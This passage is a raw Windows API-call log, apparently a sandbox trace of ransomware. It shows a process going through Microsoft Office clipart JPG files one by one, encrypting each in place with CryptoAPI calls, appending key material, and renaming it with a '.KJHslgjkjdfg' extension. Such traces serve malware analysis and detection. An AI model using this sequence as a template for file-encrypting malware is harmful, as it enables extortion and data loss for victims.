lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.638] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.638] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5a56, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5a56, lpOverlapped=0x0) returned 1 [0201.639] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5a60, dwBufLen=0x5a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5a60) returned 1 [0201.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.639] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5a60, lpOverlapped=0x0) returned 1 [0201.640] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.640] SetEndOfFile (hFile=0x130) returned 1 [0201.642] GetProcessHeap () returned 0x990000 [0201.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.642] GetProcessHeap () returned 0x990000 [0201.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.kjhslgjkjdfg")) returned 1 [0201.643] CloseHandle (hObject=0x130) returned 1 [0201.643] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0201.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.644] GetProcessHeap () returned 0x990000 [0201.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.644] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0201.646] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.646] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.646] GetProcessHeap () returned 0x990000 [0201.646] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.646] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.646] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.647] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.647] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.647] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.647] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6f43, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6f43, lpOverlapped=0x0) returned 1 [0201.648] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f50, dwBufLen=0x6f50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f50) returned 1 [0201.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.649] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6f50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6f50, lpOverlapped=0x0) returned 1 [0201.649] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.649] SetEndOfFile (hFile=0x130) returned 1 [0201.651] GetProcessHeap () returned 0x990000 [0201.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.651] GetProcessHeap () returned 0x990000 [0201.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.kjhslgjkjdfg")) returned 1 [0201.653] CloseHandle (hObject=0x130) returned 1 [0201.653] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0201.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.654] GetProcessHeap () returned 0x990000 [0201.654] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.654] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.654] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.656] GetProcessHeap () returned 0x990000 [0201.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.656] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.656] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.656] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.656] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.656] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.656] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6aa8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6aa8, lpOverlapped=0x0) returned 1 [0201.661] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ab0, dwBufLen=0x6ab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ab0) returned 1 [0201.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.661] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6ab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6ab0, lpOverlapped=0x0) returned 1 [0201.661] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.661] SetEndOfFile (hFile=0x130) returned 1 [0201.661] GetProcessHeap () returned 0x990000 [0201.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.662] GetProcessHeap () returned 0x990000 [0201.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.kjhslgjkjdfg")) returned 1 [0201.663] CloseHandle (hObject=0x130) returned 1 [0201.663] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0201.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.664] GetProcessHeap () returned 0x990000 [0201.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0201.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.666] GetProcessHeap () returned 0x990000 [0201.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.666] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.666] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.666] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.667] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6873, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6873, lpOverlapped=0x0) returned 1 [0201.668] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6880, dwBufLen=0x6880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6880) returned 1 [0201.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.668] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6880, lpOverlapped=0x0) returned 1 [0201.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.669] SetEndOfFile (hFile=0x130) returned 1 [0201.670] GetProcessHeap () returned 0x990000 [0201.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.670] GetProcessHeap () returned 0x990000 [0201.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.kjhslgjkjdfg")) returned 1 [0201.671] CloseHandle (hObject=0x130) returned 1 [0201.671] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0201.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.672] GetProcessHeap () returned 0x990000 [0201.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.672] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.672] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0201.677] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.678] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.678] GetProcessHeap () returned 0x990000 [0201.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.678] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.678] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.678] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.678] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.678] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.678] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.678] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa497, lpOverlapped=0x0) returned 1 [0201.680] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa4a0, dwBufLen=0xa4a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa4a0) returned 1 [0201.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.681] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa4a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa4a0, lpOverlapped=0x0) returned 1 [0201.681] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa574, lpNewFilePointer=0x0, 